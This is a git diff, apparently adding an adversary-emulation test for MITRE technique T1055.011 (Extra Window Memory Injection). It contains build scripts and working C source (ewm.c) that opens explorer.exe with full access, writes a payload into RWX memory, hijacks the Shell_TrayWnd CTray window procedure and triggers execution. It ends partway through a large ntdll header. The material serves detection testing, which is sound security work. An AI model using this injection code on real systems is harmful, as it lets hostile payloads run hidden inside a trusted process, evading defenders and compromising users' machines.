zzWM&l?%r?QygL+rx>tG-hns@+L*Xg0Ug=sKq43U-`tJR-Szb4jPMqbHqHzS_b?qpu+*Erl1golnZPxnfNINY?`4&>En8&giIMcy*fkE`q46vWZB*(*lM_kIQJ z0l~r{Cyxvm^D#j{o!G(c^OQ zpu5H&R}hb}?flmouiMSI{hTuf9*SqrTCdcLBeeclKBuoA4G*pF);ll;-V{P77ryZh zubYjF-_*N~4Ilg(_@0fU>yO3n%uUCJ^QvRR@BEtjZ;gSErC-s5quU?LzmM8S!^h&k z=U1cQZDZ*B(Z12}vHefz8Vw)Y|8L$rHvEIPN5fmj^uOVq(eSbDU)FnU_(cat!^h&k z_ruZfP&t&4KK^txJd}PD&c}KMhns@(6AC{cez=7rc4R*iw;acLJbVDx9tP8k?Kp=| z^;PLV`@a0+`@XzCam^}(Tgxk2hHt?a%~_}_7y8^i0DddYM#$@;Kp;VUg+3c0<+GA9 z^L*ImV`w7c1TN0WS~Gu{8)s139dSh-qPd6M=?JNfvIPjK4%TOeFDT9`yeTEC5JA8Z zi~IVl+4;rp<|@*;6A(ghc5z`L0>h6)5}fOk&JVep>W{#Uo6_g*-9H0N#mkpx6{cXz0dyg~1dOx&gYnG?26jd> z{uSdL5eODNF8F}I_o7VfR8ufFZ&`ktv<2;t;GAE0F=&R!`@w$JyQMGB_Z8=k&@K&6 z076C;3@iLdL@;n7s*Xe&zHH9Id2^D3{5TlCuqgM6yfujFCFQv-Bx8$)IfaGp;yKC1 zION(BHpivvn84PO^xDMatjyI}e{=uzutfi+3u6IAA@m#rOUUyr0$2U~lbRz^k3{DF zrF#za0ui{Mb+3-Z-hRft@<;3bMVOl<=PX4q^P8mS-0`^MP6%xBgN^7XCg*43;kF+> zrvy|pFsAGCeOW1i?Rca$;R`c!R%IRGo+Q2Nwz8C02p&8O}c6#CR#xtH2Jmu^FT=Q z?V}@ZqQ{peCLfKliR-J~KK=6-5#psO?$vDUC%kgE+&dw~9 zqQ4b9P0c?7mlEAJ=Hy`~i2OWv`-ec7(N&s?3) zulwEB15LWI_R(saduK$JT<%EHqhS~47O%>7hdZly*)r_41c?aIQ)yCV_(CWQw}2$w z?mr)42HLyc&sUe=&}07dg;@cP&j?`Y8&QVR1%Y{Yr0OY*_0JrGN zP!GX9fBdu;66d||bsxL1G|pk62re{XHKp1W53N7C5x?po4) z9x+~W=@SYolO|90e*-phGYC(=<>>Rc(6NM`hqg26)r8PX>3@42Y>fQwXuI8I_>b5+ z{BLW`(R;yi!8~a%o|OZa*})s%SROfU3UnDWZu-Vh`lmKLe!##08si7F`=_G$jdwQg zG>8mzJ?=D!`NmQEXLj%}J{`g)xRJ&1?rb8KnCos@clHSF9(g-(^5DaPynI{luzTjc zrOcn#qx{b8`?tpgz<={w{zc%HcO-x6?<}7%QvPX_-}6x4L#IpcJ=Fiu)#JB+%Y*(J z3nCVD9#F*CB9pKI;5iC1~A47;rd=BB{zXN|w^698#vLv8th7p%$to>PB_5 z`mnlBJ%wICXVI%^5xt8(PCuk!nyGoUi?u7Y>olKsgSJ*H*Vb!Wv^wplTBG)i_Ja0n z?G>#{>(fqVbJ>12QNKaISO2O0bG=F5r|;MQpr6f?j3Q%)@v_lld}16nzBD4l3F0Ji zs)!c}B1y~>8R7=tVMmHd{xO5P)%ki+Cl5+R=;pCm`iXUQ|<@5xj)LPMXf79pAW4Go=ZJT zJceirB?Y&F;%acs3xh&>JIHQErPwr zPBs>s9j0ZkwKv=M**~%O*b&Z5NAlu*DcboX*(4{bkEu1ZogScnp_8>}Emk9%tu>uGONO> zv^H2(R<%`QZMBYb@y@`1>ya&%uL0F>k=M!VA4)K(DPV5tZ6x_VTOfj!DpErMHo?t~;l0Dg;Zhy~SX0Nn=?4Z#Ce8Yk4T;e5Z zB#V@g+sNJI5z<6{hdFS%yd0dqO|Fq2mYrmWSm?B~4kT99AUtWHmvZ zuV$+S>P_l8$W5KvriRnW^h~;h-cO$gRnF9eRt$QSX}4<|wat*1CdkSz?Ra(%+rrw} zUiJo~dc7|5pYt#H@kWwyqfu_`GrlY01Q90WB3Uf-%SE18E!K&x7};M$6y!rOXPZgp zFU&6UHtTNdR?pp@9iDsbZFU3Z{z7MkQ|y#Gk2!9>!@)YGP#j9MdELB!0+m&aP-zslI zYaCR*rOs5Bt9Pke)LLkaR&}?!UwvEcQ@>PCq^E%f)2U4_r|I+>x|EjDO`ym&T1S6P z_t6tIMO&<`)K-Hg+q6ePk^R~M$jpiC3>L#KWIi^?ChJr6>y0hY7X8LK;!3eXY!T0k zb1?23%^l{2R-*NhHPb^q^F76$v!DZhZ-39Z)~Rtm!nc?B_6I{=LJG;Z<$n23@-$_- zGD|5?ZdHDu)G5y^uPTGescO7xsdLqpY7scMQ|(mWQ9o6u0&j;dqidn{YG@06k@nNW zG)gOFKVu#21GZY<$NTu{hGN`p>@{M<&0?du&-{*+VEL>P>vJpKv)GgEDfHaydD=7G zo@*D_Kd`4bigTq?;z+glCINU+;v-Ly56L9ZK1TVOa;|!jTA>n6hxU9|Tf^>Tn^=~< zLcdFYjQd0$bip>UOLT} xIQl*4`Ly@TvkKUUZ4)A>RECqB%NGk$60ipRus&++zO z?O4Zh@|_l^&Drhpz7=snkS$a;W7bBgXR1F?hoIjXEvJ>>%MWQIeS!XlzD|4TAWhWL zv{GpGKkKLQt9TJ#&tKxF7}JaxV+M2=F(~xc0^>TP*m&63W1J-J6EBJ(kznqz?(pnI z@8{b~>|fe1*y$f{ zE7eu%Gitl~I<)9t)L6d-N~ibG`{*0M?I1lxn*kj&SF3`4>Cn2h$(Suyv!(0__9FX? zeaT{UMNiZh>)HCv`Ud?0y;0w#cj@ozhcK24xQEZ@nfx{*S$rULbE>u4sT=E?W0 z_dMc>gXBDEKW87XPjcou%bnYuA3M#?ubjh<)Qj&yfcvTB98yjy$tLncXwV^8iZ94S zd5Zipw8Cx5Pn4(C4>X%E=lAe!{8ecDkNHxg1az7MJw3xJurWUe-TxvZRt?z> z?(c*=9aM&t`RWRFuX<2DjV91lbR&I|zC%BwXJ`ww8!_5a%!(#%K4v~+zG22#m%>lTw{ErWvhKGYgB6THuSIqx zY+0|J<1{#Lxis;H;s4m!uZ6rw7DMZ;mwzw!CI`^7HR=QE4)uUKs1B*>4*k`w_Nx8B^^hvjNi>p1(-;~@3FXvF zlV}PwaR%@&pe4}8m9z@_t(Mk9_M2%dtavBwhK%(?1014~Hc5+wMUT(>UM$0at2MY3o}XB;DpGcQYGDJ&iK zKbsY>5?014Srw~cwXB{svS!u_OW4V}Sug8{=0C(FJ*zqO@u72jd|jmX@d`YpL22tQvB)BG{G+ zZG%>=ZH0|#fH%~lwLzD6X+2mu3}{2}7Q@*T7R9EqSQgJHvsfZaW~pomyn#6z@-KXd3MS7`T z0ozcmZ`JD{u}$E18#vtsF86`ML*Q;WI2#47#)6|1+)M-~Q~46`F&8{61^+gHcU!@? z2Jox}{OSO&dcdav@MxHagF8{Mn6XAYtfgfn8p%egu>?MUF4jM#MuoA#s5Z75bw&fc z{}!Xo=rFplCh9W=j3Hy#2p3aCl$a)Bu`Z&*5{d8uQ^gW!h+I)5N`+Jv;OGB;DW0T9 z>d|_P9;XwX>s~!cPtnu$4A|!ay+kk5EA=Y9Mz4kc+X%U9h0JwA-g+TxgOD=`G8PH> zih*nq$dwl|l>&LnfIJmImdYSURgj@t$WJ3=rxkM337P4IybMBCB*;l5Ru(Zv9Q+n; zc;Q{A80kiak!=*fCYKqNMwL-x)M6FZXfzwGMmwx)x6uoabI>?sNMe$R6wxBa?~8M+ zGm=D#NQXC`EefzoD-)HXO4Nv2QSaCHt)g9Yif+*>`o$ntZU~ldMw-!Pj2UMVlVcT^ zg!M=|R&v=`*_L1>S7}z6HKtS>_}29M&fU&E&JP`_G0Yz`?0-JX;xKcn{g@pRk!CV_ z%`kmtu32GLqrZBy!E7{}%}%Ty`^+KpkSSTwR;rWk6v0cah7aBBw8D4n#mZs88Fr-B zFn9SN#gKT|<|QPdF42u)j~ zG%3wWH=Z^`t6WXTlZF~tu5MVXXjrIpSfv_RqHb89Xjq(dSea^Am?l^kS9!T>&Lp`+ zuEct*UT&5<SpnVoZ=e1f DkWE*) literal 0 HcmV?d00001 diff --git a/atomics/T1055.011/src/build_x64.bat b/atomics/T1055.011/src/build_x64.bat new file mode 100644 index 0000000000..b308a88891 --- /dev/null +++ b/atomics/T1055.011/src/build_x64.bat @@ -0,0 +1,21 @@ +@echo off + +rem compiling xbin +cl -nologo -Os xbin.cpp +move /Y xbin.exe ..\bin\xbin.exe + +rem x64 version +cl -DWINDOW -D_WIN64 -D_MSC_VER -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- -w payload.c +link /order:@extrabytes_x64.txt /entry:WndProc /fixed payload.obj -nologo -subsystem:console -nodefaultlib -stack:0x100000,0x100000 +..\bin\xbin.exe payload.exe .text + +echo "Compiling T1055.011_x64.exe" +cl -DWINDOW -D_WIN64 -D_MSC_VER -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- -w ewm.c + +ren ewm.exe T1055.011_x64.exe +move /Y T1055.011_x64.exe ..\bin\ +move /Y payload.exe64.bin ..\bin\payload.exe_x64.bin + +echo "Cleaning files" +del /Q *.obj +del /Q *.exe diff --git a/atomics/T1055.011/src/build_x86.bat b/atomics/T1055.011/src/build_x86.bat new file mode 100644 index 0000000000..1421e2ecff --- /dev/null +++ b/atomics/T1055.011/src/build_x86.bat @@ -0,0 +1,21 @@ +@echo off + +rem compiling xbin +cl -nologo -Os xbin.cpp +move /Y xbin.exe ..\bin\xbin.exe + +rem x86 version +cl -DWINDOW -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- -w payload.c +link /order:@extrabytes_x86.txt /entry:WndProc /base:0 payload.obj -nologo -subsystem:console -nodefaultlib -stack:0x100000,0x100000 +..\bin\xbin.exe payload.exe .text + +echo "Compiling T1055.011_x86.exe" +cl -DWINDOW -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- -w ewm.c + +ren ewm.exe T1055.011_x86.exe +move /Y T1055.011_x86.exe ..\bin\ +move /Y payload.exe32.bin ..\bin\payload.exe_x86.bin + +echo "Cleaning files" +del /Q *.obj +del /Q *.exe diff --git a/atomics/T1055.011/src/ewm.c b/atomics/T1055.011/src/ewm.c new file mode 100644 index 0000000000..20fc65ec5e --- /dev/null +++ b/atomics/T1055.011/src/ewm.c @@ -0,0 +1,156 @@ +/** + Copyright © 2018 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +// Original: https://github.com/odzhan/injection + +#define WIN32_LEAN_AND_MEAN + +#include "ntlib/nttpp.h" +#include "ntlib/util.h" +#include "ewm.h" + +#include +#include +#include +#include +#include + +LPVOID ewm(LPVOID payload, DWORD payloadSize){ + LPVOID cs, ds; + CTray ct; + ULONG_PTR ctp; + HWND hw; + HANDLE hp; + DWORD pid; + SIZE_T wr; + + // 1. Obtain a handle for the shell tray window + hw = FindWindow("Shell_TrayWnd", NULL); + + // 2. Obtain a process id for explorer.exe + GetWindowThreadProcessId(hw, &pid); + + // 3. Open explorer.exe + hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + + // 4. Obtain pointer to the current CTray object + ctp = GetWindowLongPtr(hw, 0); + if (ctp == 0) + { + printf("GetWindowLongPtr failed!\n"); + CloseHandle(hp); + return; + } + + // 5. Read address of the current CTray object + ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); + + // 6. Read three addresses from the virtual table + ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr); + + // 7. Allocate RWX memory for code + cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + // 8. Copy the code to target process + WriteProcessMemory(hp, cs, payload, payloadSize, &wr); + + // 9. Allocate RW memory for the new CTray object + ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + // 10. Write the new CTray object to remote memory + ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); + ct.WndProc = (ULONG_PTR)cs; + + WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); + + // 11. Set the new pointer to CTray object + SetWindowLongPtr(hw, 0, (ULONG_PTR)ds); + if (SetWindowLongPtr(hw, 0, (ULONG_PTR)ds) == 0) + { + printf("SetWindowLongPtr failed!\n"); + VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT); + VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT); + CloseHandle(hp); + return; + } + + // 12. Trigger the payload via a windows message + PostMessage(hw, WM_CLOSE, 0, 0); + + Sleep(1); + + // 13. Restore the original CTray object + SetWindowLongPtr(hw, 0, ctp); + + // 14. Release memory and close handles + VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); + VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); + + CloseHandle(hp); +} + +int main(void) { + LPVOID payload = NULL; + DWORD payloadSize = 0; + + PVOID imageBase = GetModuleHandle(NULL); + char fullpath[MAX_PATH]; + char drive[MAX_PATH]; + char dir[MAX_PATH]; + if (imageBase != NULL) + { + if (GetModuleFileName((HMODULE)imageBase, fullpath, sizeof(fullpath)) != 0) + { + printf("This program is running from: %s\n", fullpath); + } + } + + // Split fullpath into directory and filename + _splitpath_s(fullpath, drive, MAX_PATH, dir, MAX_PATH, NULL, 0, NULL, 0); + + // Create fullpath to payload + #if defined(_WIN64) + sprintf_s(fullpath, MAX_PATH, "%s%s%s", drive, dir, "payload.exe_x64.bin"); + #else + sprintf_s(fullpath, MAX_PATH, "%s%s%s", drive, dir, "payload.exe_x86.bin"); + #endif + + // Read payload from disk + #if defined(_WIN64) + payloadSize = readpic(fullpath, &payload); + #else + payloadSize = readpic(fullpath, &payload); + #endif + if (payloadSize == 0) { printf("invalid payload\n"); return 0; } + + // Executes payload usin Extra Window Memory Injection (T1055.011) + ewm(payload, payloadSize); + + return 0; +} diff --git a/atomics/T1055.011/src/ewm.h b/atomics/T1055.011/src/ewm.h new file mode 100644 index 0000000000..1ffe636d0b --- /dev/null +++ b/atomics/T1055.011/src/ewm.h @@ -0,0 +1,12 @@ +// Source: https://github.com/odzhan/injection +#pragma once + +// CTray object for Shell_TrayWnd +typedef struct _ctray_vtable { + ULONG_PTR vTable; // change to remote memory address + ULONG_PTR AddRef; + ULONG_PTR Release; + ULONG_PTR WndProc; // window procedure (change to payload) +} CTray; + +DWORD readpic(PWCHAR path, LPVOID* pic); \ No newline at end of file diff --git a/atomics/T1055.011/src/extrabytes_x64.txt b/atomics/T1055.011/src/extrabytes_x64.txt new file mode 100644 index 0000000000..867c0360b3 --- /dev/null +++ b/atomics/T1055.011/src/extrabytes_x64.txt @@ -0,0 +1,4 @@ +WndProc +FindExport +xGetProcAddress +xstrcmp \ No newline at end of file diff --git a/atomics/T1055.011/src/extrabytes_x86.txt b/atomics/T1055.011/src/extrabytes_x86.txt new file mode 100644 index 0000000000..b230f218ca --- /dev/null +++ b/atomics/T1055.011/src/extrabytes_x86.txt @@ -0,0 +1,4 @@ +WndProc@16 +FindExport +xGetProcAddress +xstrcmp \ No newline at end of file diff --git a/atomics/T1055.011/src/ntlib/ntddk.h b/atomics/T1055.011/src/ntlib/ntddk.h new file mode 100644 index 0000000000..90fe7eb949 --- /dev/null +++ b/atomics/T1055.011/src/ntlib/ntddk.h @@ -0,0 +1,4659 @@ +#ifndef __NTDLL_H__ +#define __NTDLL_H__ + +#ifdef __cplusplus +extern "C" { +#endif +#include + +#ifdef _NTDDK_ +#error This header cannot be compiled together with NTDDK +#endif + + +#ifndef _NTDLL_SELF_ // Auto-insert the library + +#if defined(_WIN64) +#pragma comment(lib, ".\\ntlib\\x64\\ntdll.lib") +#else +#pragma comment(lib, ".\\ntlib\\x86\\ntdll.lib") +#endif +#endif + +#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union + +#pragma warning(push) +#pragma warning(disable:4005) +#include +#pragma warning(pop) + +//------------------------------------------------------------------------------ +// Defines for NTSTATUS + +typedef long NTSTATUS; + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#endif + +#ifndef STATUS_SUCCESS +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#endif + +#ifndef STATUS_UNSUCCESSFUL +#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) +#endif + +#ifndef ASSERT +#ifdef _DEBUG +#define ASSERT(x) assert(x) +#else +#define ASSERT(x) /* x */ +#endif +#endif + +//------------------------------------------------------------------------------ +// Structures + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef enum _EVENT_TYPE +{ + NotificationEvent, + SynchronizationEvent + +} EVENT_TYPE; + +// +// ANSI strings are counted 8-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +#ifndef _NTSECAPI_ +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; + +} STRING, *PSTRING; + +// +// Unicode strings are counted 16-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + +} UNICODE_STRING, *PUNICODE_STRING; +#endif // _NTSECAPI_ + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +typedef const UNICODE_STRING *PCUNICODE_STRING; + +#define UNICODE_NULL ((WCHAR)0) // winnt + +// +// Valid values for the Attributes field +// + +#ifndef OBJ_CASE_INSENSITIVE +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +// +// Object Attributes structure +// + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE + +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; +#endif // OBJ_CASE_INSENSITIVE + +// +// IO_STATUS_BLOCK +// + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + + ULONG_PTR Information; + +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +// +// ClientId +// + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; + +} CLIENT_ID, *PCLIENT_ID; + + +// +// CURDIR structure +// + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; + +} CURDIR, *PCURDIR; + + +//------------------------------------------------------------------------------ +// Macros + +// INIT_UNICODE_STRING is a replacement of RtlInitUnicodeString +#ifndef INIT_UNICODE_STRING +#define INIT_UNICODE_STRING(us, wch) \ + us.MaximumLength = (USHORT)sizeof(wch); \ + us.Length = (USHORT)(wcslen(wch) * sizeof(WCHAR)); \ + us.Buffer = wch +#endif + + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } +#endif + + +#ifndef InitializePortHeader +#define InitializeMessageHeader( ph, l, t ) { \ + (ph)->TotalLength = (USHORT)(l); \ + (ph)->DataLength = (USHORT)(l - sizeof(PORT_MESSAGE)); \ + (ph)->Type = (USHORT)(t); \ + (ph)->VirtualRangesOffset = 0; \ + } +#endif + +//----------------------------------------------------------------------------- +// Image functions + +NTSYSAPI +PVOID +NTAPI +RtlImageNtHeader ( + IN PVOID BaseAddress + ); + +NTSYSAPI +PVOID +NTAPI +RtlImageDirectoryEntryToData ( + IN PVOID Base, + IN BOOLEAN MappedAsImage, + IN USHORT DirectoryEntry, + OUT PULONG Size + ); + +//----------------------------------------------------------------------------- +// Unicode string functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUID( + IN REFGUID Guid, + OUT PUNICODE_STRING GuidString + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PCWSTR SourceString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + OUT PUNICODE_STRING Destination, + IN PCSTR Source + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + IN BOOLEAN AllocateNew, + IN PUNICODE_STRING SourceString, + OUT PUNICODE_STRING TargetString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeToString ( + PUNICODE_STRING Destination, + PCWSTR Source + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString( + IN OUT PUNICODE_STRING Destination, + IN PUNICODE_STRING Source + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToInteger ( + IN PUNICODE_STRING String, + IN ULONG Base OPTIONAL, + OUT PULONG Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToUnicodeString ( + IN ULONG Value, + IN ULONG Base OPTIONAL, + IN OUT PUNICODE_STRING String + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlGUIDFromString( + IN PUNICODE_STRING GuidString, + OUT GUID *Guid + ); + + +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +VOID +NTAPI +RtlCopyUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDowncaseUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +VOID +NTAPI +RtlFreeUnicodeString( + IN PUNICODE_STRING UnicodeString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PANSI_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString ( + OUT PANSI_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitAnsiString ( + OUT PANSI_STRING DestinationString, + IN PCHAR SourceString + ); + + +NTSYSAPI +VOID +NTAPI +RtlFreeAnsiString ( + IN PANSI_STRING AnsiString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath( + OUT PUNICODE_STRING CurrentUserKeyPath + ); + + +NTSYSAPI +VOID +NTAPI +RtlRaiseStatus ( + IN NTSTATUS Status + ); + + +NTSYSAPI +VOID +NTAPI +DbgBreakPoint( + VOID + ); + + +NTSYSAPI +ULONG +_cdecl +DbgPrint ( + PCH Format, + ... + ); + + +NTSYSAPI +ULONG +NTAPI +RtlRandom( + IN OUT PULONG Seed + ); + +//----------------------------------------------------------------------------- +// Critical section functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +BOOL +NTAPI +RtlTryEnterCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnterCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +//----------------------------------------------------------------------------- +// Object functions + +// +// Object Manager Directory Specific Access Rights. +// + +#ifndef DIRECTORY_QUERY +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) +#endif + +typedef enum _POOL_TYPE { + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType +} POOL_TYPE; + + +// +// For NtQueryObject +// + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, // = 0 + ObjectNameInformation, // = 1 + ObjectTypeInformation, // = 2 + ObjectTypesInformation, // = 3 //object handle is ignored + ObjectHandleFlagInformation // = 4 +} OBJECT_INFORMATION_CLASS; + +// +// NtQueryObject uses ObjectBasicInformation +// + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +// +// NtQueryObject uses ObjectNameInformation +// + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +// +// NtQueryObject uses ObjectTypeInformation +// + +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +// +// NtQueryObject uses ObjectHandleFlagInformation +// 